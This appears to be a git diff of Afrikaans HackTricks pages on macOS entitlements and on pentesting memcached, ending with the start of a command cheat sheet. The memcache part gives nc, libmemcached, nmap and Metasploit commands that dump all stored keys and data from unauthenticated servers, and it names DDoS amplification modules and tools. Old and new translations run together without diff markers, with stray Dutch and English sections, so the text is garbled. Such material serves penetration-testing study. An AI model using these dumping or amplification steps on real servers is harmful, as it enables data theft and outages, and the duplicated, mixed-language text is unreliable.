Hierdie toestemming laat toe om **afsnitte van sy eie uitvoerbare lêers** op skyf te wysig om kragtig te verlaat. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
Hierdie reg laat toe om **afdelings van sy eie uitvoerbare lêers** op skyf te **wysig** om gedwonge uitgang te dwing. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
{% hint style="danger" %}
Die Uitskakelbare Uitvoerbare Geheuebeskermingstoestemming is 'n ekstreme toestemming wat 'n fundamentele sekuriteitsbeskerming van jou app verwyder, wat dit moontlik maak vir 'n aanvaller om jou app se uitvoerbare kode te herskryf sonder opsporing. Gee verkieslik nouer toestemmings as moontlik.
Die Disable Executable Memory Protection Entitlement is 'n uiterste reg wat 'n fundamentele sekuriteitsbeskerming van jou toepassing verwyder, wat dit moontlik maak vir 'n aanvaller om jou toepassing se uitvoerbare kode sonder opsporing te herskryf. Verkies nouer regte indien moontlik.
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
@ -164,31 +165,32 @@ TODO
### `com.apple.private.nullfs_allow`
Hierdie toestemming laat toe om 'n nullfs-lêersisteem te koppel (standaard verbode). Gereedskap: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
Hierdie reg laat toe om 'n nullfs lêerstelsel te monteer (verbode deur standaard). Gereedskap: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
### `kTCCServiceAll`
Volgens hierdie blogpos, hierdie TCC-toestemming gewoonlik in die vorm gevind:
Volgens hierdie blogpos, is hierdie TCC toestemming gewoonlik in die vorm:
```
[Key] com.apple.private.tcc.allow-prompting
[Value]
[Array]
[String] kTCCServiceAll
```
Laat die proses toe om **vir al die TCC-toestemmings te vra**.
Allow the process to **vraag vir al die TCC-toestemmings**.
### **`kTCCServicePostEvent`**
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>

View file

@ -1,43 +1,44 @@
# 11211 - Pentesting Memcache
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Protokol-inligting
## Protocol Inligting
Van [wikipedia](https://en.wikipedia.org/wiki/Memcached):
> **Memcached** (uitspraak: mem-cashed, mem-cash-dee) is 'n algemene verspreide [geheue-caching](https://en.wikipedia.org/wiki/Memory\_caching)-sisteem. Dit word dikwels gebruik om dinamiese databasis-aangedrewe webwerwe te versnel deur data en voorwerpe in RAM te kasheer om die aantal kere wat 'n eksterne data-bron (soos 'n databasis of API) gelees moet word, te verminder.
> **Memcached** (uitspraak: mem-kash-de, mem-kash-dee) is 'n algemene verspreide [geheue-kas](https://en.wikipedia.org/wiki/Memory\_caching) stelsel. Dit word dikwels gebruik om dinamiese databasis-gedrewe webwerwe te versnel deur data en voorwerpe in RAM te kas om die aantal kere te verminder wat 'n eksterne databron (soos 'n databasis of API) gelees moet word.
Alhoewel Memcached SASL ondersteun, word die meeste instansies **sonder outentifikasie blootgestel**.
Alhoewel Memcached SASL ondersteun, is die meeste instansies **blootgestel sonder outentisering**.
**Verstekpoort:** 11211
**Standaard poort:** 11211
```
PORT STATE SERVICE
11211/tcp open unknown
```
## Opstel
## Enumeration
### Handleiding
### Manual
Om alle inligting wat binne 'n memcache-instantie gestoor is, uit te voer, moet jy die volgende doen:
Om al die inligting wat in 'n memcache-instantie gestoor is, te exfiltreer, moet jy:
1. Vind **slabs** met **aktiewe items**
2. Kry die **sleutelname** van die voorheen opgespoorde slabs
3. Voer die **gestoorde data** uit deur die sleutelname te kry
1. **slabs** met **aktiewe items** vind
2. Die **sleutelname** van die slabs wat voorheen opgespoor is, kry
3. Die **gestoor data** exfiltreer deur die **sleutelname** te kry
Onthou dat hierdie diens net 'n **kasgeheue** is, so **data kan verskyn en verdwyn**.
Onthou dat hierdie diens net 'n **cache** is, so **data mag verskyn en verdwyn**.
```bash
echo "version" | nc -vn -w 1 <IP> 11211 #Get version
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
@ -50,55 +51,7 @@ echo "get <item_name>" | nc -vn -w 1 <IP> 11211 #Get saved info
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'
```
### Handleiding2
Memcached is een gedistribueerd geheugencachesysteem dat wordt gebruikt om de prestaties van dynamische webtoepassingen te verbeteren door veelgebruikte gegevens in het geheugen op te slaan. Het draait op poort 11211 en kan worden benaderd via het TCP-protocol.
#### Memcached-commando's
Hier zijn enkele veelgebruikte Memcached-commando's:
- **set**: Hiermee kunt u een waarde instellen voor een specifieke sleutel.
- **get**: Hiermee kunt u de waarde ophalen die is gekoppeld aan een specifieke sleutel.
- **add**: Hiermee kunt u een waarde toevoegen aan een specifieke sleutel, maar alleen als de sleutel nog niet bestaat.
- **replace**: Hiermee kunt u de waarde vervangen die is gekoppeld aan een specifieke sleutel, maar alleen als de sleutel al bestaat.
- **delete**: Hiermee kunt u een specifieke sleutel en de bijbehorende waarde verwijderen.
- **incr**: Hiermee kunt u de waarde van een specifieke sleutel met een bepaald bedrag verhogen.
- **decr**: Hiermee kunt u de waarde van een specifieke sleutel met een bepaald bedrag verlagen.
#### Memcached-aanvallen
Memcached kan kwetsbaar zijn voor verschillende aanvallen, zoals:
- **Memcached DDoS-aanval**: Een aanvaller kan een DDoS-aanval uitvoeren door een groot aantal valse verzoeken naar een Memcached-server te sturen, waardoor de server overbelast raakt en niet meer reageert op legitieme verzoeken.
- **Memcached-gegevenslek**: Als een Memcached-server onjuist is geconfigureerd en toegankelijk is vanaf het internet, kan een aanvaller gevoelige gegevens uit het cachegeheugen extraheren.
- **Memcached-misbruik van onbeveiligde commando's**: Een aanvaller kan onbeveiligde Memcached-commando's misbruiken om gegevens te wijzigen, te verwijderen of te stelen.
#### Memcached-pentesten
Bij het uitvoeren van een pentest op een Memcached-server, zijn hier enkele belangrijke stappen om te volgen:
1. Identificeer de Memcached-server en bepaal of deze toegankelijk is vanaf het internet.
2. Voer een poortscan uit om te controleren of poort 11211 open is.
3. Gebruik de Memcached-commando's om gegevens te manipuleren en kwetsbaarheden te identificeren.
4. Voer een DDoS-test uit om de veerkracht van de server te testen tegen een aanval.
5. Controleer de configuratie van de Memcached-server om ervoor te zorgen dat deze correct is beveiligd.
#### Memcached-beveiligingstips
Om de beveiliging van een Memcached-server te verbeteren, kunt u de volgende maatregelen nemen:
- Beperk de toegang tot de Memcached-server tot vertrouwde IP-adressen.
- Schakel authenticatie in om ervoor te zorgen dat alleen geautoriseerde gebruikers toegang hebben.
- Beveilig de communicatie met de Memcached-server door gebruik te maken van versleuteling.
- Houd de Memcached-software up-to-date met de nieuwste patches en beveiligingsupdates.
- Controleer regelmatig de configuratie van de Memcached-server om ervoor te zorgen dat deze correct is geconfigureerd en beveiligd.
#### Bronnen
- [Memcached-documentatie](https://memcached.org/documentation)
- [Memcached Security Best Practices](https://www.memcached.org/security)
- [Memcached DDoS Attacks](https://www.cloudflare.com/learning/ddos/memcached-ddos-attack/)
### Handboek2
```bash
sudo apt install libmemcached-tools
memcstat --servers=127.0.0.1 #Get stats
@ -106,72 +59,56 @@ memcdump --servers=127.0.0.1 #Get all items
memccat --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)
```
### Outomaties
Memcached is a widely used in-memory caching system that is often deployed in web applications to improve performance. However, misconfigurations in Memcached can lead to security vulnerabilities that can be exploited by attackers.
Memcached is a network service that listens on port 11211 by default. It uses a simple text-based protocol, making it easy to interact with using tools like telnet or netcat.
One common misconfiguration is leaving Memcached exposed to the internet without any authentication or access controls. This allows anyone to connect to the service and perform various operations, including retrieving and modifying data.
Attackers can take advantage of this misconfiguration to launch distributed denial-of-service (DDoS) attacks by sending a large number of requests to the Memcached service, overwhelming the target server's resources.
To automate the process of identifying and exploiting misconfigured Memcached instances, you can use tools like Memcrashed and DDoS-Memcached. These tools leverage the Memcached protocol to send a large number of requests to the target server, causing it to consume excessive resources and potentially crash.
It is important to note that exploiting misconfigured Memcached instances is illegal and unethical. It is recommended to only perform these actions in a controlled environment with proper authorization.
To protect against Memcached attacks, it is crucial to properly configure and secure Memcached instances. This includes enabling authentication, restricting access to trusted IP addresses, and monitoring for any suspicious activity.
By understanding the potential risks and taking appropriate security measures, you can mitigate the vulnerabilities associated with Memcached and ensure the integrity and availability of your web applications.
```bash
nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather info
msf > use auxiliary/gather/memcached_extractor #Extracts saved data
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible
```
## **Dumping Memcache Sleutels**
## **Dumping Memcache Keys**
In die wêreld van memcache, 'n protokol wat help om data te organiseer deur middel van slabs, bestaan daar spesifieke bevele om die gestoorde data te ondersoek, alhoewel met merkbare beperkings:
In die ryk van memcache, 'n protokol wat help om data deur slabs te organiseer, bestaan daar spesifieke opdragte om die gestoor data te inspekteer, alhoewel met noemenswaardige beperkings:
1. Sleutels kan slegs gedump word volgens slab-klas, wat sleutels van soortgelyke inhoudsgrootte groepeer.
2. Daar is 'n limiet van een bladsy per slab-klas, wat gelykstaan aan 1MB data.
3. Hierdie funksie is onoffisieel en kan enige tyd gestaak word, soos bespreek in [gemeenskapsforums](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM).
1. Sleutels kan slegs volgens slab klas gedump word, wat sleutels van soortgelyke inhoudsgrootte groepeer.
2. 'n Beperking bestaan van een bladsy per slab klas, wat gelyk is aan 1MB data.
3. Hierdie funksie is nie amptelik nie en kan enige tyd gestaak word, soos bespreek in [gemeenskapsforums](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM).
Die beperking om slegs 1MB te kan dump van moontlik gigabytes data is veral betekenisvol. Nietemin kan hierdie funksionaliteit steeds insig bied in sleutelgebruikspatrone, afhangende van spesifieke behoeftes. Vir diegene wat minder belangstel in die meganika, onthul 'n besoek aan die [gereedskap-afdeling](https://lzone.de/cheat-sheet/memcached#tools) hulpmiddels vir omvattende dumping. Alternatiewelik word die proses om telnet te gebruik vir direkte interaksie met memcached-opsette hieronder uiteengesit.
Die beperking om slegs 1MB uit potensieel gigabytes data te kan dump, is veral betekenisvol. Tog kan hierdie funksionaliteit steeds insigte bied in sleutelgebruikspatrone, afhangende van spesifieke behoeftes. Vir diegene wat minder geïnteresseerd is in die meganika, 'n besoek aan die [tools section](https://lzone.de/cheat-sheet/memcached#tools) onthul nutsmiddels vir omvattende dumping. Alternatiewelik, die proses om telnet te gebruik vir direkte interaksie met memcached-opstellings word hieronder uiteengesit.
### **Hoe dit Werk**
### **How it Works**
Memcache se geheue-organisasie is van kardinale belang. Deur memcache te inisieer met die "-vv" opsie, word die slab-klasse wat dit genereer, onthul, soos hieronder getoon:
Memcache se geheue-organisasie is deurslaggewend. Om memcache met die "-vv" opsie te begin, onthul die slab klasse wat dit genereer, soos hieronder getoon:
```bash
$ memcached -vv
slab class 1: chunk size 96 perslab 10922
[...]
```
Om al die tans bestaande slabs te vertoon, word die volgende bevel gebruik:
Om al die huidige bestaande slabs te vertoon, word die volgende opdrag gebruik:
```bash
stats slabs
```
Die toevoeging van 'n enkele sleutel tot memcached 1.4.13 illustreer hoe slabsklasse bevolk en bestuur word. Byvoorbeeld:
Voeg 'n enkele sleutel by memcached 1.4.13 illustreer hoe slab klasse bevolk en bestuur word. Byvoorbeeld:
```bash
set mykey 0 60 1
1
STORED
```
Die uitvoering van die "stats slabs" bevel na sleutel byvoeging lewer gedetailleerde statistieke oor die gebruik van slabs:
Voer die "stats slabs" opdrag uit na sleutel toevoeging om gedetailleerde statistieke oor slab benutting te verkry:
```bash
stats slabs
[...]
```
Hierdie uitset toon die aktiewe slabs, gebruikte stukke en operasionele statistieke, wat insig bied in die doeltreffendheid van lees- en skryfoperasies.
Hierdie uitvoer onthul die aktiewe slab tipe, gebruikte stukke, en operasionele statistieke, wat insigte bied in die doeltreffendheid van lees- en skryfoperasies.
'n Ander nuttige bevel, "stats items", verskaf data oor verwyderings, geheuebeperkings en itemlewensiklusse:
'n Ander nuttige opdrag, "stats items", bied data oor ontruimings, geheuebeperkings, en itemlewe siklusse:
```bash
stats items
[...]
```
Hierdie statistieke maak dit moontlik om opgevoede aannames te maak oor die gedrag van toepassingskaping, insluitend kapingseffektiwiteit vir verskillende inhoudsgroottes, geheue-toewysing en kapasiteit vir die kaping van groot voorwerpe.
Hierdie statistieke stel in staat om ingeligte aannames te maak oor toepassingskasgedrag, insluitend kasdoeltreffendheid vir verskillende inhoudgroottes, geheue-toewysing, en kapasiteit om groot voorwerpe te kas.
### **Sleutels dump**
### **Dumping Sleutels**
Vir weergawes vóór 1.4.31 word sleutels gedump deur gebruik te maak van slab-klas:
Vir weergawes voor 1.4.31, sleutels word gedump deur slab klas met:
```bash
stats cachedump <slab class> <number of items to dump>
```
@ -181,57 +118,57 @@ stats cachedump 1 1000
ITEM mykey [1 b; 1350677968 s]
END
```
Hierdie metode loop oor slab klasse, onttrek en opsioneel dump sleutelwaardes.
This method iterates over slab classes, extracting and optionally dumping key values.
### **DUMPING MEMCACHE SLEUTELS (VER 1.4.31+)**
### **DUMPING MEMCACHE KEYS (VER 1.4.31+)**
Met memcache weergawe 1.4.31 en hoër, word 'n nuwe, veiliger metode vir die dump van sleutels in 'n produksie-omgewing geïntroduceer, deur gebruik te maak van nie-blokkerende modus soos beskryf in die [vrystellingsnotas](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Hierdie benadering genereer uitgebreide uitset, daarom word die aanbeveling gemaak om die 'nc' opdrag vir doeltreffendheid te gebruik. Voorbeelde sluit in:
Met memcache weergawe 1.4.31 en hoër, word 'n nuwe, veiliger metode vir die dump van sleutels in 'n produksie-omgewing bekendgestel, wat nie-blokkerende modus gebruik soos in die [release notes](https://github.com/memcached/memcached/wiki/ReleaseNotes1431) beskryf. Hierdie benadering genereer uitgebreide uitvoer, daarom die aanbeveling om die 'nc' opdrag vir doeltreffendheid te gebruik. Voorbeelde sluit in:
```bash
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
```
### **DUMPING GEREEDSKAP**
### **DUMPING TOOLS**
Tabel [van hier](https://lzone.de/blog).
Table [from here](https://lzone.de/blog).
| Programmeertaal | Gereedskap | Funksionaliteit | | |
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ------- |
| PHP | [eenvoudige skripsie](http://snipt.org/xtP) | Druk sleutelname. | | |
| Perl | [eenvoudige skripsie](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | Druk sleutels en waardes af | | |
| Ruby | [eenvoudige skripsie](https://gist.github.com/1365005) | Druk sleutelname. | | |
| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Gereedskap in CPAN-module | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) |
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Memcache Monitoringskerm wat ook sleutels kan dump | | |
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Bevries jou memcached-proses!!!** Wees versigtig wanneer jy dit in produksie gebruik. Deur dit te gebruik, kan jy die 1MB-beperking omseil en **alle** sleutels regtig dump. | | |
| Programming Languages | Tools | Functionality | | |
| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ------- |
| PHP | [simple script](http://snipt.org/xtP) | Druk sleutelname. | | |
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | Druk sleutels en waardes | | |
| Ruby | [simple script](https://gist.github.com/1365005) | Druk sleutelname. | | |
| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Gereedskap in CPAN-module | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) |
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Memcache Monitering GUI wat ook toelaat om sleutels te dump | | |
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Bevries jou memcached proses!!!** Wees versigtig wanneer jy dit in produksie gebruik. Deur dit steeds te gebruik kan jy die 1MB beperking omseil en regtig **alle** sleutels dump. | | |
## Probleemoplossing <a href="#probleemoplossing" id="probleemoplossing"></a>
## Troubleshooting <a href="#troubleshooting" id="troubleshooting"></a>
### 1MB Data Beperking <a href="#1mb-data-beperking" id="1mb-data-beperking"></a>
### 1MB Data Limit <a href="#1mb-data-limit" id="1mb-data-limit"></a>
Let daarop dat voor memcached 1.4 kan jy nie voorwerpe groter as 1MB stoor nie as gevolg van die verstek maksimum slabs grootte.
Let daarop dat voor memcached 1.4 jy nie voorwerpe groter as 1MB kan stoor nie weens die standaard maksimum slab grootte.
### Stel nooit 'n tydsbeperking > 30 dae nie! <a href="#stel-nooit-n-tydsbeperking--30-dae-nie" id="stel-nooit-n-tydsbeperking--30-dae-nie"></a>
### Never Set a Timeout > 30 Days! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
As jy probeer om 'n sleutel met 'n tydsbeperking groter as die toegelate maksimum te "stel" of "toe te voeg", mag jy nie kry wat jy verwag nie, omdat memcached dan die waarde as 'n Unix-timestamp hanteer. As die tydstempel in die verlede is, sal dit niks doen nie. Jou opdrag sal stilweg misluk.
As jy probeer om 'n sleutel met 'n timeout groter as die toegelate maksimum te “stel” of “toe te voeg”, mag jy nie kry wat jy verwag nie, omdat memcached dan die waarde as 'n Unix-timestamp behandel. Ook, as die timestamp in die verlede is, sal dit glad nie iets doen nie. Jou opdrag sal stilweg misluk.
As jy dus die maksimum leeftyd wil gebruik, spesifiseer 2592000. Voorbeeld:
So as jy die maksimum leeftyd wil gebruik, spesifiseer 2592000. Voorbeeld:
```
set my_key 0 2592000 1
1
```
### Verdwynende Sleutels by Oorvloei <a href="#verdwynende-sleutels-by-oorvloei" id="verdwynende-sleutels-by-oorvloei"></a>
### Verdwynende Sleutels by Oorloop <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a>
Ten spyte van die dokumentasie wat iets sê oor die oorvloei van 'n waarde van 64-biet, veroorsaak die gebruik van "incr" dat die waarde verdwyn. Dit moet weer geskep word deur gebruik te maak van "add"/"set".
Ten spyte van die dokumentasie wat iets sê oor die omhulsel van 64bit wat 'n waarde oorloop, veroorsaak die gebruik van “incr” dat die waarde verdwyn. Dit moet weer geskep word met “add”/”set”.
### Replikasie <a href="#replication" id="replication"></a>
### Replikaasje <a href="#replication" id="replication"></a>
memcached ondersteun nie self replikasie nie. As jy dit regtig nodig het, moet jy van derde party-oplossings gebruik maak:
memcached self ondersteun nie replikaasie nie. As jy dit regtig nodig het, moet jy 3departy-oplossings gebruik:
* [repcached](http://repcached.lab.klab.org/): Multi-meester asynchrone replikasie (memcached 1.2-patchstel)
* [Couchbase memcached-interface](http://www.couchbase.com/memcached): Gebruik CouchBase as 'n memcached-drop-in
* [yrmcds](https://cybozu.github.io/yrmcds/): memcached-kompatibele Meester-Slaaf sleutelwaardestoor
* [twemproxy](https://github.com/twitter/twemproxy) (aka nutcracker): proksi met memcached-ondersteuning
* [repcached](http://repcached.lab.klab.org/): Multi-master asynchrone replikaasie (memcached 1.2 patch stel)
* [Couchbase memcached interface](http://www.couchbase.com/memcached): Gebruik CouchBase as memcached drop-in
* [yrmcds](https://cybozu.github.io/yrmcds/): memcached-compatibele Meester-Slaaf sleutelwaarde winkel
* [twemproxy](https://github.com/twitter/twemproxy) (ook bekend as nutcracker): proxy met memcached ondersteuning
### Opdrag Spiekbriefie
### Opdrag Cheat-Sheet
{% content-ref url="memcache-commands.md" %}
[memcache-commands.md](memcache-commands.md)
@ -246,16 +183,17 @@ memcached ondersteun nie self replikasie nie. As jy dit regtig nodig het, moet j
* [https://lzone.de/cheat-sheet/memcached](https://lzone.de/cheat-sheet/memcached)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,63 +1,65 @@
# Memcache Opdragte
# Memcache Commands
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Opdragte Spiekbrief
**Vanaf** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
## Commands Cheat-Sheet
Die ondersteunde opdragte (die amptelike en sommige onoffisiële) is gedokumenteer in die [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) dokument.
**Van** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
Ongelukkig is die sintaksisbeskrywing nie regtig duidelik nie en 'n eenvoudige hulpopdrag wat die bestaande opdragte lys, sou baie beter wees. Hier is 'n oorsig van die opdragte wat jy in die [bron](https://github.com/memcached/memcached) kan vind (soos vanaf 19.08.2016):
